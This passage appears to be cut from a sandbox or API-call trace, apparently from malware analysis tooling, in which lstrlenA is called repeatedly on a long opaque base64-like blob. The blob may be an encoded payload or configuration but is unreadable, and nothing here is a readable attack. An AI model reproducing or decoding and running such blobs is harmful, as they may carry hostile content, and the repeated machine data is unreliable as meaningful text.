cbuRmnQnSQ89DaDa/3h4wZhQFSfD6Z4FdtQfaZ/MYhv5o0LEZVdADC4jZETfFhUawYO6fiw2TPWTpcVEf3CSc3mBAZFAng6camyLLhtHsL24tHTFSDmtvgGQWDCLaSJAavl9Z36rbaQZviRaPECizFN5IYfmONDsT95lfe/1h70vyYsKQ1Uxj518FbqdY0uZJ+zNWsRnCaIkSNmWDkGGWlrFbLvvG000Qdq9ukh49mOh9XZnMsUxmYa8fjtv5UZNKFpSP/VODavbItL4bL1QcqqikQD8xymYECCOr5v2gIEFL3vTjDyJodz0wB5Cbmu5qK9s1hX4BvA4IziQcvaJ3qyaFOB68C6K6H5SV8ew+WCTfLaSYrRLDzrdvD7HSuzDy9rRdRm6Rt18EBj+TStzXkvgyTmfs/DbfixfoY93MvYD4gwYwE/No3AXTOP7Euj/HdTOc7Vmalz2RfbLOzoBlXiPmAn2QaYUc0lOuplD3V1jUJ9BEW3/lkl1d3t8Kxp4VSF0uZLwX0bxFaMvl4GembGuzP1TrhiqSKdu/uXFlPqsHPFFgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.640] lstrlenA (lpString="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") returned 5820
	[0084.641] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+rW2Q6Q6+Ey8no6g8BfI0X7Fe3yNRmBJDkfwgttccEcPnKnYmhR6orZFzbv8xPYOei3EBpxWPWQNYvBZeFu2Z6Q7Tsli5docxSGxRVNdhpYwi/Fc9Gctu4Nt2Rattg87JMzURadDUrqOMCCgARfI45Jr1dRgAqgjvizAF3kFSNdCz9RXpdOhzwU6wElGzj/umB/E1Cf61J6kaFwVGQeUfiX0plVIDrnskWha3qTj3qVeb31tLBLyvlvEAWmcc4/i7waD+hH9j5hovGP/zsfVyCnqBouO8VxlU+e6DC/Df9MLc0OKWg15hQkvfdOEkv51Dkr2xgyKNlHidbuN8z0oZcd9ZsjWZ3F5I3dg+sijGiBcxrM83337xGsmXZ3FapOf/6RVrwkGIJLZCjUTy6D3HUatfWMn9ARjBkHrHtQ8c7Yr9ScDo2TkHT8ySR6oeXfx5G/dPoYGw0W/BbRt/FF+aDwhkPvm9+vOjG7iVDNfexVNq7UHQpnaQu+KVdqxmFJUSgzefnKAkopFbcluxFXgozk2XKWNas7wqfKMWrt0IXEG2UhkLtrcd8p4JNBmNqsDijqc8ALYZwzFDKsVsrg5DzyIluyLMxG/TiakC/pBHkQ3RiZ5uvTydxtAD8n2yavcm0Kj5Fss82FGu+kBj35uhx4I7jDj20EwFB1Ph4M9k3/dFx0YXyk1S1gQrIGrnhCrb8U2+Y6YuqAXd/TbsXCLPz9ePTE+Lqet+H5JFdFbR/LgKR/IrZ2OCq8vHmPXkVd339xwOXS1LYNQ/jTiEw9ocs8XSfQiiF1lKyts17dW19MUzq2agefI4iBUvirUCPiXVKqgwmGHTfYJg3onDGZ9lzaQ1RMkYofNEg+olX5fvoOPf+IqVeOZsy/rodl5tiysKtgobARxKzixyeJxR+SpMjZcZWB542juT392bZxWTKtGybGXBkYhfLbJYtGZhTwVKm918Lbl4WHTx5nAxeuSpRATmqdBuNX/I8LPd0qeMmlCokyBRhNxYw8V4rBPQxlUDYvFC43eGey+eolIizMw2UpNe1K/hK6yaHl0PbqZLI4FBSppDbwXGbNvKyrby6gDVhdz529Co4/9gjezuRA5hzjEesWKRHwXz6Nkg1rXN2q+I5vEBk5Vm3/LxMMSqfDfZvOTjmXhZO6gf0Yt/OCBChNVb5tWNwHdXVyTigH+9xgQytSKJ9NMmu0XL5dodxhkGNjTJlgdmmHgj8eY9SNf16KdoCq84u6uF6t5NhQpd1YAZnH1000rYOtr8vbD8lJMF1Tb8DgYfpGXCTeuRfTzFIqC+SRLhxsr1q+ntzssL6Otm5WN0Q2QIHKtJEJC0ihG7wD2sMSpC8SJKsIsTfzgzNTgeuzotx89ITb5KiQJaoYYJk0J7rMAVc0StgpbC5gHdEY5cOSwNv8zCH7PYvqSx0sN+J/l/0t0ZpcObGamhpKOtmyTULxenkmvPyOyBi3wJy5daoq9rOiwRjJfeN++QSMU93IKGiylNe6dIBDzbhqm1XUqwrS8rX2KXau+EH9ypf1nh/NIP+FHq3d8O94qIZrpFYBIXLilFkN8QWDVfBEzi0rnA33zlQEjh1sedNVNKxtpDbjr2ij10KXhgm9agdN/WIUiRh2ZAyZC8DzvgQE0kQEk9T24OPDjZ00F1q5SSajlP7brLYPkmXDHGkwpoDcHZEz735QKoa4BSivimzbfyw6iUfoG5qzyvOcYgZoDdy8YdkEniwqV7D7pzWBuYqHJULHsL4RpjUKOEZLFiwevz6uitOs/eZ4ys+yHAdgpV1V4c1c2PnL9DhEGJMCBMkmwkAEZVUhOLVhnalPnwioekw/rf+QLO4I8/dORvBjgkieS1mKk5ekbhhX1CfbD7VTi8zPdRBQvXQQs8A4KGCylGG+2MCtJ4sTOHb/ViG1W5TPEZvi4s+kHQLE6YjPn0APfeIdP86NS1TFugv5h+g7oty4NDRb+WYteWsq4dXTA5gTAfhgrtW4tq/8wXBIj+qUVUbXtuUpeoW/VdBKmDWaWjvQWUaQmjjSp+qavLUb+NTWKAvXjD7xBStoHJ0rN/y1FYNCHxuLhq43rOC6k2QKhyN4A8crOYeXzGZUZ1slwHa63caXpSjrmmASG/V0Km+TBwO7lykEiBGaq7YXXgrwZI2nnt3O/VxoC5i4FJz+vDsKtZw8omqF2nwgBf3xM/l6rpEQUO8AYcOLFQt8r/yW/ikSouhKJ/+4wrD8y+eobJ2aERtJC5jBCsuM0VmoPhzHIeD2F6rZa2dQwgcYn73FlkjWXwB18uyFCTHMkCbvXVycBBM+QcB2RP89DWB96BsyInYy+DF1pjp0fhsiYgvxTAZjIEMbkfNY9cGALR19UbJLEkZe7Yil0deqNMaHMCDwCAxKwFYaauZfp27catSyvvs0Tey9P6BH2foj6Y088YmPaqA5Lsv2dvGyE09CN6Cn+pn8EybUhaH7/6iqTgubM7VsIb1AYNHuKrhTiUg+/fj8lmsNFR4mVfo8AHRSoBmn5FGaUVB46b8PyalJolBNElJB91ekBM3D8AsLEPHxMAbGc/nG9VIcSBOtKCKrxcuPHz/+bvav3V5kMpSPyc/sWbEx7MZiqwYimRkPbKitVtcj/N0CMbWtNTc7ISxvdCxAB8Bks7cZ1Xn7lmzQUxLwylQA4XMJXrwDHE5Zz2QFlxQ1fi5j/nrBWwnQIW85rfG49k5exqhlyQvfVIcoeiWuX2t869wj4ZLI0LO+WycAWIsBCB3HlAGf6xvPsRFArGcoANLPskqEMRwwScf19bIVKI9Phrfq+XEyHllSE1IfVMydxPX9sfRmXFLP4z6f5qZGTMc8e8cGwqAYSes4j5zawjYB0HETHpuwUi4QIJvve0OaJKd+w/KSObipMao2YbIVhUm9c9dnDyDmEcBWIPIlf1BE+cLR6nsqab3rP2E4uUaVtDlSnwDMk0bpidgrONLyWz2t78BreT1QFmHPiyytUXHRMkNmE7G/IlA7NHJldZptETcMq98GD/XmpliedFh3Vm1nPys1N63QdWz2u0ApfgYkNYQI1ZNRDBmRAo9cc/49Jkh6Na4knxVZIthDsC205K+qv1aqXJ6wZ9B3TiYhmGoIjsjlGeKF7nXbztIBEGGtp790iPZvb6hnurXNZaHbiuixr33SPO6yK6o+G/eGA+KeHmp4jm+NwBuL4P1hc2clVcHMLne0fe2Mi+uYSM2beBLczVL1AkgReqT0lUToaOjgIUGAswuOzlQagLxuxiYWkj4M5YkbOtsAY3DAT1q1b44cIvlVZz/fW6yfeaPR1nPj0vJ653chI+qoKnh9h4NGN1gOvH7z9Gvao+Z2YCIfPXCT3Oq5uB/gUNIfWtxXsBntxUcRPONWpADjWWTjhqO6xPN9mcRCh6LSbWaazGC+oHawwVAZjhVu2LUiuq9a76xZM9XDVUDnBZKQtJqsRlkfQ4On0kk0DZSo3PI1hdycZ9YIp9+zhA8jDSdQMu2fA/D6vw/NoN3pIYCpJ9KWIb2zUTKpnxDWxXMYnz2+J1ZwVvNhkuI68Y1BbaYzjZq/0iUFT9X7KVboqbeuhu+wWc97VSlk4qHIq5gYhnoPYscPWrU4fD1KApAkIcuNJIi0nsUotOoDd1qVhQNl5ff5uYrdRg23FSU5DRgwlqo9QmMT2xd0OVEOHlUD+Yea6UDhhnIdVPFxM5/UhIaLXqO97ovabRGHzJrBPA8CR5Sab/B4GwFsYNIL/SosMF/N6BrZkuYVjiC+gsPWKe7XqiXDDbRVHzszFhzyPrjWgFpgHbg8pS2m04nNzjleUEoJWnx839sMPuknZ6EbcmX0XVk7EuDdOHs+xK22RuZsJwGuJFiR96raTnLNLRYkcXAuS5HbMbfgiT5h3zGQ5RgRn6kTaSTs5aJvLkYo0yL2/9/aBAzGxtcF/pTngc8/DTbkYi7v6almd46gauZzcJhJ/hRAfznSBaX3TXzvlwwWBWxKD+8QZWcIN/SLNSjY926DAx45oko8XmYQe1tyizClFib1u2IDMOTaWJOCQR00c0oRnhFvSCE0kTjc0AnEOfh2QBU4IofiadkQP53Bied2XkA8NcbuRmnQnSQ89DaDa/3h4wZhQFSfD6Z4FdtQfaZ/MYhv5o0LEZVdADC4jZETfFhUawYO6fiw2TPWTpcVEf3CSc3mBAZFAng6camyLLhtHsL24tHTFSDmtvgGQWDCLaSJAavl9Z36rbaQZviRaPECizFN5IYfmONDsT95lfe/1h70vyYsKQ1Uxj518FbqdY0uZJ+zNWsRnCaIkSNmWDkGGWlrFbLvvG000Qdq9ukh49mOh9XZnMsUxmYa8fjtv5UZNKFpSP/VODavbItL4bL1QcqqikQD8xymYECCOr5v2gIEFL3vTjDyJodz0wB5Cbmu5qK9s1hX4BvA4IziQcvaJ3qyaFOB68C6K6H5SV8ew+WCTfLaSYrRLDzrdvD7HSuzDy9rRdRm6Rt18EBj+TStzXkvgyTmfs/DbfixfoY93MvYD4gwYwE/No3AXTOP7Euj/HdTOc7Vmalz2RfbLOzoBlXiPmAn2QaYUc0lOuplD3V1jUJ9BEW3/lkl1d3t8Kxp4VSF0uZLwX0bxFaMvl4GembGuzP1TrhiqSKdu/uXFlPqsHPFFgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.641] lstrlenA (lpString="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